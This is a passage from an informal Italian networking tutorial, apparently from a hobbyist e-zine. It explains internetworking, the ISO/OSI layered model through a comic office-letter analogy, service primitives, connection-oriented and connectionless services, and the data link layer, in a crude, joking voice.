multiprotocollo detti GATEWAY. Questi gateway non solo si occupano di instradare i pacchetti dalla rete sorgente alla rete destinataria, ma fanno si che venga meno questa diversità di struttura. ______________ ___________ | | ____________ | | | WAN A |-------| |--------| WAN B | |______________| | GATEWAY | |___________| ------------ Come è possibile immaginare, avremo alcuni sistemi (che chiameremo ES = end system) contengono applicazioni che comunicano usando la rete (posta elettronica, e web browser ecc.) e rappresentano semplici Host di una rete (es.Lan), altri sistemi (che chiameremo IS) sono addetti a funzioni di instradamento dei messaggi (router-gateway). In un sistema così ampio e complesso, la prima cosa importante è identificare il computer destinatario tra milioni e milioni di altri computer in maniera univoca. Come abbiamo già accennato, infatti ogni computer sulla rete ha un proprio indirizzo (IP tipo 212.122.123.232) e per semplicità a questo indirizzo numerico corrisponde un nome (tipo www.mangialamela.it). Naturalmente tra indirizzo e nome bisogna mantenere una corrispondenza biunivoca in modo che se noi inseriamo il nome www.mangialamela.it, la rete sa che corrisponde all'IP 212.122.123.232. Questa cosa, apparentemente semplice, lo è fino a quando i computer in una rete sono pochi dove ogni elaboratore mantiene un file dove è presente la relazione nome-indirizzo suddetto. Quando una rete però aumenta di dimensioni è molto più facile ed efficace mantenere un archivio delle relazioni, in maniera distribuita, detta appunto name server (quello che noi in Internet chiamiamo DNS cioè Domain Name Server). Inoltre bisogna mantenere delle tabelle di corrispondenza tra i nomi degli applicativi ed i loro indirizzi (spesso detti identificativi di porta) che li identificano in modo univoco all'interno del sistema.Quando un utente desidera connettersi ad un applicativo su di un dato elaboratore, egli fa richiesta alla rete che consultando la base dati, ricava l'identificativo della porta e l'indirizzo dell'elaboratore ed il gioco è fatto. L'indirizzo del destinatario rappresenta il cardine su quale ruota l'instradamento del pacchetto che viene indirizzato nel modo più idoneo. Quindi quando il computer mittente sta per inviare il messaggio, la prima cosa che fà è quello di verificare se il destinatario si trova sulla stessa sua rete, in caso contrario affida il pacchetto ad un IS che svolgerà il suo compito nel modo più egregio. carino no? Questo è l'internetworking. Qui ci fermiamo ragazzi altrimenti il numero 2 di SS potrebbe essere interamente dedicato a questo argomento. Nel prossimo numero vedremo meglio come avvengono questi scambi e vedremo di approfondire altri aspetti. Per ora vi lascio....sono un pò esaurito. Fatemi sapere e enjoy youself [CONTINUA...] Fonti consultate: -Appunti della CISCO -Vari manuali trovati su Internet -Sistemi di elaborazione: reti 1 di un certo Prof. Bongiovanni (complimenti prof. veramente un buon lavoro...) ____________________________________________________________________________ / Merlinus /| +===========================================================================+ | | | | | [ Protocolli di rete ] | | | ------------------ | / +===========================================================================+/ Nell'articolo precedente abbiamo visto come sono strutturate fisicamente le reti. Adesso ci occuperemo di come avvengono le trasmissioni nell'ambito delle stesse, cioè in maniera generale direi che possiamo definire questa parte, IL SOFTWARE DELLE RETI. Modello ISO/OSI =============== Come potete immaginare esistono numerossissime configurazioni di reti, ognuna con le proprie peculirità e caratteristiche. Ogni rete presenta un software differente che si occupa di far scambiare dati in seno alla stessa o verso altri network. COme accennato in precedenza, il modello di riferimento per la strutturazione "software" delle reti è stato realizzato dall'ISO/OSI. Il documento principale su cui si basa questo modello è il Basic Reference Model di OSI, standard ISO 7498. L'OSI ha introdotto il concetto di sistema inteso come insieme di uno o più elaboratori con il relativo software, periferiche, terminali, utenti, processi cornetti e cappuccini...ehehe. In un sistema un'applicazione è l'elemento che effettivamente svolge l'elaborazione dei dati. Lo standard OSI si occupa di come avviene lo scambio di informazioni tra due sistemi e non come questi siano realizzati al loro interno. Quindi OSI ha pensato che gli elementi principali sono: -l'applicazione che deve scambiare informazoni. -la connessione che permette lo scambio effettivo delle informazioni. -il sistema Cioè l'applicazione del sistema A, scambia informazioni con l'applicazione del sistema B, mediante una connessione che avviene su mezzi fisici (cavi, onde ecc.). Al tempo dei romani, prima si progettava la rete e poi il software adatto. Attualmente un approccio del genere sarebbe antiquato e del tutto fuori luogo. Per ridurre la complessità di un progetto, OSI ha creato i livelli (vedremo perchè). Naturalmente in reti diverse, possono cambiare il nome, il numero, la funzione dei livelli suddetti a secondo del protocollo preso in esame. Che cosa sono questi livelli? Per capire il concetto generale faremo un esempio "figurato": il mega-direttore (lo chiameremo mega1) della Fantozzi's Society vuole mandare una lettera urgente al mega-direttore della Chin Kin Society (che chiameremo mega2). Purtroppo il mega1 non spiccica una parola in cinese, a stento parla l'italiano. Come è facile immaginare il mega1 e il mega2 rappresentano il vertice della azienda e come vuole la nostra società hanno come ufficio un magnifico attico in cima al grattacielo, con poltrone in pelle umana, una marea di meretrici che allietano le giornate pesanti e tristi, oltre che le tensioni del megadirettore con saggi lavori di "manicure". In conclusione i mega rappresentano il livello più alto. Allora il mega1, chiama il suo traduttore di fiducia (con ufficio al piano inferiore) e lo costringe a tradurre la lettera (il traduttore è ad un livello inferiore al mega1). Poichè il traduttore, di cinese conosce solo "le torture", fiducioso del corrispettivo collega in Cina, decide di tradurre la lettera in una lingua facilmente comprensebile: l'inglese. A questo punto, dopo che il traduttore ha convertito la lettera in inglese, la mette in una sua busta e la passa alla segretaria (altro livello più basso, situata al piano inferiore), dicendole di spedire la lettera. La segretaria dal canto suo, fa il suo dovere cioè, cerca l'indirizzo del mega2, lo scrive in un'altra busta più grande ed all'interno inserisce la busta del traduttore. La segretaria ha fatto ciò che le competeva. A questo punto, manda la busta al piano inferiore, cioè all'ufficio spedizioni della società che controllerà le spedizioni in uscita e vedrà il mezzo più idoneo, oltre che la strada più breve per far giungere la lettera in Cina. Imballa la busta per evitare danni durante il tragitto e la invia. Finalmente, questa benedetta lettera giunge via aereo in Cina e viene consegnata all'ufficio spedizioni cinese che toglierà il pacco di imballaggio e manderà la busta alla segretaria (naturalmente al piano superiore...anche in cina esiste la gerarchia che vi credete!!). La segretaria, annota l'indirizzo del mittente per eventuali risposte, toglie la busta con l'indirzzo e la manda al piano superiore, dal traduttore cinese. Questo, incazzato nero, perchè è dovuto rientrare dalle ferie (e in CIna le ferie di 10 anni corrispondono a 6 mesi di ferie italiane...anzi anche meno...eheh), vede la busta del collega italiano e capisce che è scritta in inglese. A questo punto, scarta la busta e traduce la lettera in cinese portandola in fine all'attico superiore dal mega2. Il Mega2, che nel frattempo era impegnato in pratiche sado-maso con le sue gainshe...si vede arrivare la lettera ed incuriosito la legge: "Caro Hiroshi, i cioccolatini che mi hai inviato erano veramente deliziosi e li ho graditi tanto. Potrei averne un'altra scatola?". Hiroshi dal canto suo, con il traduttore pronto a scrivere gli risponde: "Tonino caro, per te questo ed altro." Presto, traduttore, traduci la lettera ed inviala con urgenza in Italia. E così il povero traduttore, in fretta e furia, ormai disperato per le sue ferie fottute esegue la solita procedura, con il percorso al contrario. OHHHH....Questo cosa ci fa capire? Innanzitutto che esistono i comuni mortali che si spaccano il culo a lavorare, 23 ore al giorno, per i giochi perversi dei potenti che nel frattempo se la spassano. Inoltre ho voluto fare un esempio di livelli, dove ogni livello ha le sue competenze e ogni livello non si interessa di ciò che avviene in quello sottostante, fa solo il suo lavoro e basta. Nel senso che al megadirettore non fotte niente come la lettera arrivi a destinazione, sa solo che deve arrivare! Riprendendo il discorso iniziato, le due società possono avere livelli (piani) diversi ma lo stesso riescono a comunicare. QUindi il principio generale è sempre rispettato: lo scopo di ogni livello è quello di fornire servizi ai livelli superiori, nascondendo a questo ultimi i dettagli su come questi servizi si svolgano. MEGA1 <-------(LIVELLO 1)------->MEGA2 | | | | TRADUTTORE <----(LIVELLO 2)----> TRADUTTORE | | | | SEGRETARIA <----(LIVELLO 3)----> SEGRETARIA | | | | UFFICIO POSTE <---(LIVELLO 4)---> UFFICIO POSTE | | --------POSTE INTERNAZIONALI--------- MEZZO FISICO Il livello n di un host conversa con il livello n di un'altro host (esempio il mega1 conversa solo con il mega2). Le regole di una conversazione tra livelli n rappresentano "il protocollo del livello n" appunto. Le entità che svolgono questa conversazione (nel nostro esempio i megadirettori), sono detti" entità di pari livello (peer entity). Una cosa da osservare è che due peer entity di un livello n non comunicano direttamente ma tramite l'azione intermediaria dei livelli sottostanti o meglio del livello sottostante (livello n-1 appunto). Sotto il livello 1 è presente il mezzo fisico attraverso cui i dati dall'host 1 arriverranno all'host 2. Una volta che i dati sono arrivati all'host 2 i dati saliranno nella pila dei livelli (dall'1 fino al livello n interessato). Tra due livelli adiacenti di un host è presente un interfaccia la cui funzione è quella di permettere la comunicazione tra i livelli stessi ed il passaggio dei dati. ATTENZIONE Il modello ISO/OSI presenta 7 livelli, ma noi per comodità adesso parleremo in maniera più generale e quindi faremo riferimento solo a 5 livelli (modello OSI modificato), solo per comodità...ma ricordatevi i principi che andremo a vedere sono comuni sia al modello OSI sia ad altre architetture di rete che da quest'ultimo hanno preso spunto. HOST 1 HOST 2 Protocollo di livello 5 LIVELLO 5 <---------------------------------> LIVELLO 5 | | Interfaccia 4/5 | | Interfaccia 4/5 | Protocollo di livello 4 | LIVELLO 4 <---------------------------------> LIVELLO 4 | | Interfaccia 3/4 | | Interfaccia 3/4 | Protocollo di livello 3 | LIVELLO 3 <---------------------------------> LIVELLO 3 | | Interfaccia 2/3 | | Interfaccia 2/3 | Protocollo di livello 2 | LIVELLO 2 <---------------------------------> LIVELLO 2 | | Interfaccia 1/2 | | Interfaccia 1/2 | Protocollo di livello 1 | LIVELLO 1 <---------------------------------> LIVELLO 1 | | --------------------LIVELLO FISICO-------------------- Per protocollo si intende "una serie di norme, convenzioni e tecniche per lo scambio di dati, di comandi e di informazioni di controllo tra due DTE". L'insieme di livelli e dei relativi protocolli sono denominati "architettura di rete". Architettura di rete ==================== Ragazzi, mi rendo conto del lavoro che mi aspetta e vorrei scegliermi una morte più rapida...PIETA'. Ah...approfitto di questo momento di pausa per dirvi una cosetta: visto il grande impegno e la mole enorme di lavoro che mi aspetta, la seconda parte dell'articolo relativo alla posta elettronica NON ANDRA' IN ONDA, mi spiace anche perchè vorrei prima introdurvi questi concetti e poi ne riparleremo. Andiamo avanti... Dicevo quindi che si definisce architettuta di rete, l'insieme dei livelli e dei protocolli. Le architetture possono essere: -Proprietarie -De facto -De iure. Le reti proprietarie sono caratterizzate dal fatto che il proprietario della stessa sceglie in maniera arbitraria ed autonoma i dettagli tecnici dell'architettura non adeguandosi ad alcuno standard e di conseguenza non compatibili con altre architetture. Il proprietario tra l'altro non rende note le specifiche in modo da non renderne possibile la duplicazione (un pò come fa Bill Gates per winzoz anche se in questo caso parliamo di sistemi operativi e non di architetture). Architetture di questo tipo sono IBM SNA (System Network Architecture); Digital Decnet Phase IV; Novell IPX; Appletalk. QUesti sono solo esempi, che naturalmente non tratteremo. Un architettura standard de facto è invece di pubblico dominio, cioè le specifiche sono alla portata di tutti e sono possibili eventuali miglioramenti. Esempio di questo tipo è il famosissimo TCP/IP che vedremo in dettaglio più avanti. Un architettuta standard de iure presenta delle specifiche di pubblico dominio, ma regolarizzate ed approvate da enti internazionali. Anche in queste architetture sono possibili implementazioni da parte di terzi. Esempi sono IEEE 802 per LAN; architettura OSI; Decnet Phase V conforme allo standard OSI. Fatte queste precisazioni torniamo al discorso principale: i livelli. Come funziona un architettura di rete ===================================== Supponiamo che il livello 5 (ricordatevi che il numero di livelli può cambiare da protocollo a protocollo e comunque, il livello più alto è sempre quello delle applicazioni tipo posta elettronica, ftp ecc.)voglia inviare un messaggio (che indicheremo con M che naturalmente può essere un email, dati, insomma mi avete capito)alla sua peer entity di un altro host. N.B.: Ragazzi d'ora in avanti useremo un linguaggio più tecnico, un pò perchè mi sono rotto ed anche perchè adesso, con le cose viste prima, potrete sicuramente seguire meglio....quindi forza e coraggio. Il livello 5, appunto consegna M al livello 4 e quest'ultimo aggiungerà ad M un header in testa al messaggio. L'header non è altro che informazioni aggiuntive riguardanti il numero di sequenza del messaggio, le sue dimensioni, time stamp, priorità. Quindi una volta aggiunto un suo header lo passa sotto cioè al livello 3. Il livello 3, può trovarsi in condizione di frammentare il messaggio in unità più piccole (pacchetti), aggiungendo a ciascuna il suo header. Quindi passa il messaggio al livello 2. Il livello 2 aggiunge il suo header ed il suo trailer (vedremo dopo cosa sono) e lo spedisce sul canale fisico tramite il livello 1. Una volta giunto a destinazione il messaggio fa il percorso inverso ed ogni livello toglierà i propri header e trailer. HOST 1 HOST 2 Protocollo di livello 5 M <---------------------------------> M LIVELLO 5 | | | | | Protocollo di livello 4 | M+H4 <---------------------------------> M+H4 LIVELLO 4 | | | | / \ Protocollo di livello 3 / \ H3H4M1 H3M2 <----------------------------->H3H4M1 H3M2 LIVELLO 3 / \ / \ / \ / \ / \ / \ / \ Protocollo di livello 2 / \ H2H3H4M1T2 H2H3M2T2 <---------------------> H2H3H4M1T2 H2H3M2T2 LIVELLO 2 ---------------------- ---------------------- | | | Protocollo di livello 1 | LIVELLO 1 <---------------------------------> LIVELLO 1 | | --------------------LIVELLO FISICO-------------------- M= MESSAGGIO H= HEADER CON NUMERO RELATIVO AL LIVELLO T= TRAILER CON NUMERO RELATIVO AL LIVELLO Chiaro? Una cosa particolare è che ciascun livello pensa di colloquiare direttamente con il peer entity senza sapere che non è così perche necessariamente deve utilizzare i livelli sottostanti. Ma come abbiamo detto in precedenza il livello superiore ignora cosa fa il livello inferiore, per questo ha la sensazione di una comunicazione diretta. Un pò come dire che la mano destra non sa quello che fa la mano sinistra. Abbiamo accennato ai livelli ed abbiamo detto che questi forniscono servizi ai livelli superiori. Se il livello n vuole usufruire dei servigi del livello sottostante (n-1 quindi) deve necessariamente passare attraverso l'interfaccia (n/n-1)ed è proprio a questo livello che si trovano i punti di accesso che fanno si che il livello n possa sftruttare i servizi di n-1. Questi punti di accesso vengono definiti SERVICE ACCESS POINT (SAP) e vengono identificati in maniera univoca attraverso un indirizzo particolare. I SAP a monte del livello n vengono definiti SAP del livello N o più semplicemente n-SAP. Come ovvio i SAP a monte del livello n-1 sono definiti (n-1)-SAP e così via. _ _ _ n-SAP------> |_|----|_|----|_| Interfaccia tra livelli n/n+1 | | LIVELLO N | | _ _ _ (n-1)-SAP------> |_|----|_|----|_| Interfaccia tra i livelli n/n-1 | | LIVELLO N-1 La transazione tra il livello n ed n-1 avviene in questo modo: supponiamo che il livello n debba inviare una informazione al livello n-1. Questa informazione prende il nome di PROTOCOL DATA UNIT (PDU) del livello n, più semplicemente n-PDU. Deve passare attravero (n-1)-SAP. Una volta raggiunto il livello n-1, l'informazione diventa un SERVICE DATA UNIT (SDU) del livello n-1, più brevemente (n-1)-SDU. A quest'ultimo viene aggiunto una PROTOCOL CONTROL INFORMATION (PCI)del livello n-1, cioè (n-1)-PCI. Il tutto [cioè (n-1)-SDU + (n-1)-PCI] costituirà un (n-1)-PDU e ci ritroveremo al punto di partenza, ma naturalmente ad un livello più basso. Il (n-1)-PDU seguirà lo stesso destino verso il livello n-2, attraversando i (n-2)-SAP e via dicendo. E' più facile di quello che sembra ragazzi... _ _ _ n-SAP------> |_|----|_|----|_| Interfaccia tra livelli n/n+1 | | (LIVELLO N) n-PDU | | _ _ _ (n-1)-SAP------> |_|----|_|----|_| Interfaccia tra i livelli n/n-1 | | (LIVELLO N-1) (n-1)-SDU + (n-1)-PCI= (n-1)-PDU...... E come mettere una busta dentro un'altra aggiungendovi qualche informazione. Infatti il PDU può essere chiamato anche in altri modi più comuni in relazione al livello (Pacchetto-Segmento-Trama). Lo vedremo meglio dopo. Caratteristiche dei Servizi ============================ Abbiamo visto come comunicano i livello tra loro, adesso vedremo, in maniera generale quali tipi di servizi i livelli inferiori possono offrire ai livelli superiori...azzo sembra di parlare di un lagher nazista...(tu...razza inferiore obbediscimi..io sono di una razza superiore...eheheh) Esistono due classi di servizi: connection-oriented e connectionless. A)Il connection-oriented (modalità connessa visto che siamo italiani)viene assimilato in molte guide e manuali, ad un sistema telefonico ed in effetti ci somiglia. Infatti questa modalità prevede 3 momenti fondamentali simili ad una telefonata: 1)Si stabilisce una connessione ( es: si digita il numero telefonico). 2)Si scambiano informazioni (es: si parla con l'interlocutore...amore ma quanto mi ami...) 3)Si chiude la connessione (es: ah si,mi hai tradito? Troia...telefono sbattuto) 1)In questo tipo di servizio appunto la prima fase è quella della connessione con l'host desiderato e l'azione intermedia di altri elaboratori. Nella fase di creazione della connessione (Initial setup), le due peer entity concordano il trasferimento di PDU e solo in questa fase devono essere specificati gli indirizzi completi del mittente e del destinatario. Nelle fasi successive della connessione, queste precisazioni non sono necessarie, ma le due peer entity faranno riferimento non più agli indirizzi ma all'identificativo della connessione stabilita(ad es: connessione 12345), sapendo già mittente e destinatario. 2)Quindi una volta attivata la connessione, è come avere una corsia preferenziale tra i due hosts collegati, attraverso la quale si trasmettono tutti i dati nello stesso ordine di partenza (tipo un binario tra due stazioni)ed in maniera affidabile (vedremo subito che significa). Se le PDU inviate non sono corrette, la connessione può essere resettata (reset appunto) o chiusa (released). Per capire se una trasmissione è andata bene, cioè senza errori, uno schema connesso utilizza la numerazione dei pacchetti e la verifica dell'avvenuta ricezione (mediante ACK: acknowledgement). 3)A lavoro finito si chiude la connessione...BYE BYE. B)I servizi connectionless (modalità non connessa...sempre perchè siamo italiani), viene spesso assimilato al servizio postale. Ogni lettera è indipendente dall'altra e se ci sono più lettere per uno stesso mittente, queste seguono vie diverse e possono arrivare o non arrivare affatto (nel caso delle poste italiane è più probabile la seconda ipotesi..:)). Questa similitudine calza perfettamente con un servizio connectionless, ossia i pacchetti PDU viaggiano in maniera indipendente l'uno dall'altro, seguendo percorsi in rete diversi e giungendo a destinazione anche in ordine diverso rispetto alla partenza (es: se noi inviamo 3 pacchetti secondo la sequenza A-B-C, questi possono giungere a destinazione anche in ordine diverso, tipo B-C-A, in relazione al percorso seguito o possono anche non riuscire a raggiungere l'host destinatario). Altra caratteristica dello schema non connesso è che la trsmissione avviene in un unica fase e non in 3 come visto nel modello precedente. In questa unica e sola fase, ogni PDU inviato deve contenere l'inidirizzo di destinazione proprio perchè sono del tutto indipendenti gli uni dagli altri e non essendoci un flusso continuo di dati (come avviene nel modo connesso), non è possibile fare riferimento ad un numero di identificazione della connessione. Altro problema è che un servizio non connesso può identificare PDU errate, ma non può correggerle perchè non è in grado di avere meccanismi di ritrasmissione (in un pacchetto non può fare riferimento ad altri pacchetti). In genere un servizio non connesso è più rapido di uno connesso, perchè non necessita di istaurare una connessione, non necessita di controllo ecc. Il rovescio della medaglia è dovuto alla scarsa affidabilità. Quindi si deduce che esistono servizio affidabili (reliable) e servizi non affidabili (not reliable). Un servizio affidabile non perde mai dati e si assicura che tutti i pacchetti giungano a destinazione. Questo controllo viene fatto richiedendo al destinatario una conferma (come visto prima ACK).Naturalmente questo via vai di dati se da un lato rendono una trasmissione più sicura, dall'altro lato caricano la rete introducendo overhead. Un servizio non affidabile, non si crea problemi, nel senso che spedisce e se arriva arriva, altrimenti pace... Una cosa da dire è che se un livello non offre alcun servizio affidabile, se è richiesta una certa affidabilità, deve necessariamente appoggiarsi ad un livello superiore che comprenda questa funzione. Naturalmente il concetto di connesso e non connesso di può estendere anche alle applicazioni vere e proprie. Mi spiego: una applicazione può essere interessata a sapere se i propri dati sono giunti a destinazione o meno o viceversa può non essere interessata a sapere che fine hanno fatto i dati inviati; naturalmente dipende dal servizio offerto e dall'importanza o meno di questo. Esistono molte applicazioni connesse tipo FTP e posta elettronica. Naturalmente sia applicazioni connesse sia quelle che non lo sono devono poter operare su di una rete che offra entrambi i serivzi. Primitive di un servizio ======================== Ci siamo resi conto che un servizio ha determinate caratteristiche, ma cosa significa servizio? Un servizio di livello n è specificato da un insieme di PRIMITIVE, cioè vere e proprie operazione attraverso le quali un livello (n+1) può accedere al servizio stesso. Quindi in definitiva le primitive servono a indicare ad un determinato servizio l'azione da compiere (in questo caso l'informazione viaggia da n a n-1); cosa riportare in merito ad un azione effettuata da due peer entity di un livello (in questo caso l'informazione viaggia da n-1 ad n). Alcune primitive di un servizio "connesso" Primitiva Significato request() si chiede al servizio di fare qualcosa indication() si viene avvertiti, dal servizio, di qualche evento response() si vuole rispondere ad un evento confirm() la risposta che si attendeva è arrivata Alcune primitive di un servizio "non connesso" Primitiva request() indication() Secondo voi perchè? Ve lo dico io, non voglio essere responsabile del vostro esaurimento. Una modalità non connessa non ha bisogno di conferme o di risposte quindi le due primitive adatte a queste funzioni (response e confirm) non ci sono. Vediamo in una richiesta di transazione tra due host (A e B) cosa succede nella modalità connessa: ______________________________________________________________________________ HOST AZIONE DIREZIONE INFO SIGNIFICATO ______________________________________________________________________________ A connect.request() n-->(n-1) richiesta di connessione B connect.indication() (n-1)-->n qualcuno vuole connettersi B connect.response() n-->(n-1) accetta o rifiuta la connes. A connect.confirm (n-1)-->n B vuole o non vuole connettersi ------------------------------------------------------------------------------ A data.request() n-->(n-1) si cerca di inviare dati B data.indication() (n-1)-->n uelà sono arrivati dati da A B data.request() n-->(n-1) Invio dati verso A A data.indication() (n-1)-->n Ci sono dati da B ------------------------------------------------------------------------------- A disconnect.request() n-->(n-1) Richiesta di disconnessione B disconnect.indication() (n-1)-->n e STaccate!! ________________________________________________________________________________ Cosa avete notato...niente? Vi ammazzo se non notate qualcosa... Abbiamo detto che questa è una classica sessione di comunicazione in modalità connessa tra due host(A e B). Come vi ho già detto è composta da 3 fasi che qui vedete separate dalla linea tratteggiata: fase di connessione; scambio dati; chiusura. Come avete visto le primitive sono le stesse, solo che in fase 2 e 3 non c'è CONFERMA, in quanto il tunnel è già aperto e richiedere conferma sarebbe superfluo oltre che pesante per la rete. Per la modalità non connessa potete benissimo arrivarci da soli. UFFFFFF...UFFFFF. un pò di Ossigeno please. Facciamo luce nei vostri cervellini stanchi ed affaticati...sono troppo buono, mi accusano di spiegare le cose troppo semplicemente...chissà quando durerà questa magnanimità. Spesso ci si confonde su cosa è un servizio e cosa è un protocollo. - Per servizio si intende un insieme di operazioni che un livello offre al livello superiore. Come si svolgano queste operazioni al livello superiore non interessa. Quindi i servizi si svolgono nell'ambito di una stessa pila di livelli. - Per protocollo intendiamo invece un insieme di regole che governano il formato ed il significato delle informazioni (siano messaggi frame o pacchetti)che due peer entity si scambiano. Quindi possimo dire che le entità usano i protocolli per implementare i propri servizi. Una cosa che voglio precisare è che i livelli non sono solo di natura software, ma di solito i livelli più bassi sono costituiti da una componente software (SW), affiancata da una componente hardware (HW). Questo per far si che i servizi implementati presso tali livelli siano più efficaci ed rapidi. Relazione tra il modello ISO/OSI ed altri protocolli ==================================================== Cerchiamo di focalizzare un pò la situazione. Come abbiamo visto, una rete può essere configurata in maniera diversa, a secondo delle esigenze dell'utente, della disponibilità di denaro, e di tante altre variabili. Come è possibile immaginare ogni tipo/topologia di rete presenta la necessità di trasmettere i dati, in seno alla rete stessa o fuori di essa, in maniera differente. Infatti una MAN, strutturata nel modo visto utilizzerà un protocollo di trasmissione che si adatta perfettamente alla sua configurazione (DQDB appunto). Una LAN, presenterà dei protocolli diversi a seconda della sua struttura (ad anello, o a bus ecc.). Come è possibile immaginare, il problema principale è proprio questo: far comunicare reti (siano LAN, MAN o WAN) strutturalmente diverse. In questo l'ISO con la creazione del progetto OSI, ha cercato appunto di rendere il più indolore possibile questa eterogeneità di reti. Innanzitutto richiamo un pò la struttura a livelli tipica del modello ISO/OSI: LIVELLO 7---APPLICAZIONE | | | | LIVELLO 6---PRESENTAZIONE | | | | LIVELLO 5---SESSIONE | | | | LIVELLO 4---TRASPORTO | | | | LIVELLO 3 --- RETE | | | | LIVELLO 2---DATA LINK | | | | LIVELLO 1--- FISICO Livello 7 (Applicazione): è il livello dei programmi applicativi attraverso i quali l'utente porta a termine le proprie necessità (invio posta elettronica, up e download di file ecc.). Livello 6 (Presentazione): questo livello gestisce la sintassi dell'informazione da trasferire. LIvello 5 (Sessione): è il livello responsabile del dialogo tra due programmi applicativi e di conseguenza del loro scambio di informazioni. Livello 4 (Trasporto): fornisce il trasferimento trasparente di informazioni tra peer entity del livello 5. Usa un modo cnnesso e si occupa della frammentazione, correzione degli errori e della prevenzione della congestione della rete. Questo livello è quello più basso a TRASCURARE LA TOPOLOGIA DELLA RETE E LA PRESENZA DI SISTEMI INTERMEDI. In definitiva i livelli 7-6-5-4 non si preoccupanosu che tipo di rete operano, fanno il loro dovere e basta. Livello 3 (Network): gestisce l'instradamento dei messaggi cioè determina se e quali sistemi intermedi devono essere attraversati dal messaggio per giungere al destinatario. In definitiva gestisce le tabelle di instradamento e provvede ad eventuali percorsi alternativi in caso di problemi. Livello 2 (Data link): si occupa di trasmettere in maniera relativamente affidabile le trame (frame) che riceve dal livello 3. Verifica inoltre gli errori inserendo delle FCS (Frame Control Sequence) in modo da avvertire il destinatario di eventuali errori nella trasmissione. Livello 1 (Fisico): non fa altro che trasmettere sequenze binarie sul canale di comunicazione. In modo estremamante semplice invia la sequenza di 1 e/o 0 in relazione al tipo di collegamento fisico di cui dispone (cavi, fibre ottiche, onde radio ecc.). L'ISO, una volta introdotto il concetto di modello di riferimento, si è impegnato al fine da standardizzare i protocolli dei vari livelli e per far questo si è avvalso di altre "società" tra le quali ricordiamo: -IEEE (Institute of Electrical and Electronics Engineers) -ANSI (American National Standards Institute) -CCITT (Comitè Consultatif International de Telegraphie et Telephonie) In modo più particolare, agli standards dei livelli 1 e 2 per reti geografiche (WAN) ha collaborato il CCITT; per la standardizzazione delle reti locali e metropolitane (LAN e MAN), IEEE ha creato il progetto IEEE 802. In precedenza abbiamo fatto riferimento ad un modello modificato dell'ISO/OSI, che utilizza 5 livelli. In seguito continueremo con questa politica anche perchè i livelli SESSION e PRESENTATION sono praticamente inutili o meglio possono essere facilmente inclusi nel livello TRASPORT. Quindi il modello che prenderemo in considerazione è così configurato: LIVELLO 5----APPLICATION | LIVELLO 4----TRANSPORT | LIVELLO 3----NETWORK | LIVELLO 2----DATA LINK | LIVELLO 1----FISICO Cominciamo ad analizzare il funzionamento di ciascun livello. Le informazioni che seguiranno fanno riferimento a concetti generali, cioè applicabili a varie architetture di rete sempre utlizzando come base il modello modificato ISO/OSI. In seguito andremo ad analizzare in maniera i protocolli che più ci interessano. Bene, bene iniziamo il trip.... Livello 1: FISICO ================= Su questo non mi dilungherò tanto. Rappresenta il livello responsabile della trasmissione dei dati veri e propri utilizzando un mezzo di fisico di comunicazione. Vi ricordo rapidamente quali sono i mezzi trasmissivi più usati...se volete i dettagli potete trovarli ovunque. Come già accennato i mezzi trasmissivi sono: - Mezzi elettrici (cavi): il fenomeno fisico utilizzato per la trasmissione è l'energia elettrica. - Mezzi wireless (onde radio): il fenomeno è l'onda elettromagnetica. - Mezzi ottici (LED, Laser, fibre ottiche): il fenomeno utilizzato è la luce. Ogni mezzo sfrutta le caratteristiche di variazione del proprio fenomeno fisico per la trasmissione dei dati sotto forma di sequenze di bit: 1 e 0. Un esempio, che serva per tutti: i mezzi elettrici. Essi sfruttano le variazioni di energia elettrica (aumento o diminuzione di tensione)per far partire un 1 o 0. Esistono numerosi teoremi o caratteristiche che non vedremo perchè esulano dai nostri scopi. Comunque, se proprio ci tenete, potremmo vederli in seguito...solo ed esclusivamente dietro una valanga di email. La trasmissione può essere analogica o digitale. Ed anche qui non entriamo nei dettagli...andatele a vedere da soli certe cose. Livello 2: DATA LINK ==================== Il compito di questo livello è quello di assicurare una comunicazione affidabile ed efficente tra due host connessi tramite un canale di comunicazione. Quindi le competenze di questo livello sono: 1- Offrire servizi ad livello superiore (NETWORK per intenderci). 2- Determinare come i bit del livello fisico siano raggruppati in frame. 3- Gestione degli eventuali errori nella trasmissione. 4- Regolare il flusso di trasmissione tra sorgente e destinazione. 1)Il servizio principale del livello 2 è quello di assicurare una comunicazione tra peer entity del livello 3, cioè fare in modo che il livello network di un host A, posso comunicare con il livello network di un host B. Le caratteristiche dei servizi offerti dal livello 2 (d'ora in poi L2, L3 ecc.)ad L3 possono essere sia connected oriented, sia connectionless, sia una forma ibrida coè confirmed connectionless (cioè modalità non connessa,quindi frame indipendenti, senza una connessione, senza ritrasmssione di eventuali frame persi MA l'invio dei frame viene confermato). Vediamo il L2 in azione, prendendo in esame cosa succede in un router (ricordatevi che i router non sono altro che computer con funzioni particolari)quando riceve un informazione da instradare (esempio amatoriale...); vi ricordo inoltre che un router presenta più interfacce di rete, una o più in ingresso e altrettante in uscita...a cavallo tra due o più network. Chiameremo linea 1 qualla in entrata e linea 2, quella in uscita. - Arrivano bit sulla linea 1. L'HW del livello 1 se ne rende conto e li passa al SW/HW di L2. - Il SW/HW di L2 solitamente inserito in un chip della scheda di rete (tipo una scheda Ethernet per capirci) fa il suo dovere cioè: framing, controllo di errori, contralla il numero di frame e se tutto è a posto manda al SW di L3. Questo riceve il pacchetto contenuto nel frame, lo elabora a modo suo e decide su quale linea instradre il pachetto. Decide per linea 2. - Passa la notizia al L2 della linea 2, che imbusta il pacchetto in un nuovo frame e lo passa al livello fisico della linea 2. VIAAAAAAAa....verso la destinazione. Carino no? Quindi, ricapitolando. L2 svolge queste funzioni: In trasmissione: -Frammenta il flusso di bit che gli arriva da L3, in una serie di frame. -Calcola il checksum per ciascun frame (checksum che verrà ricalcolato dal ricevente). -Inserisce il checksum nel frame. -Consegna il frame ad L1 che lo invia, bit per bit. In Ricezione: -Riceve le sequenze di bit dal L1. -Ricostruisce dalla sequenza un frame dopo l'altro. -Ricalcola il checksum per ciascun frame. -Se il checksum è uguale a quello contenuto nel frame stesso, tutto Ok, scarta la caramella e la passa ad L3. Come vedete il livello 2 ha diverse incombenze, vediamo come le risolve... 2)Il secondo problema che L2 deve gestire è appunto quello del framing. Come si fa ad frammentare un pacchetto o a ricomporre una sequenza di bit in un frame. Innanzitutto, la frammentazione serve a dividere un pacchetto, cioè serve a spezzettarlo in frammenti più piccoli. Ogni architettura di rete, per facilitare la gestione dei dati in transito, ammette una grandezza massima precisa dei dati per singolo frame: MTU (Maximum Transfer Unit). L'MTU appunto è il massimo numero di ottetti di dati che può essere trasferito in singolo frame. 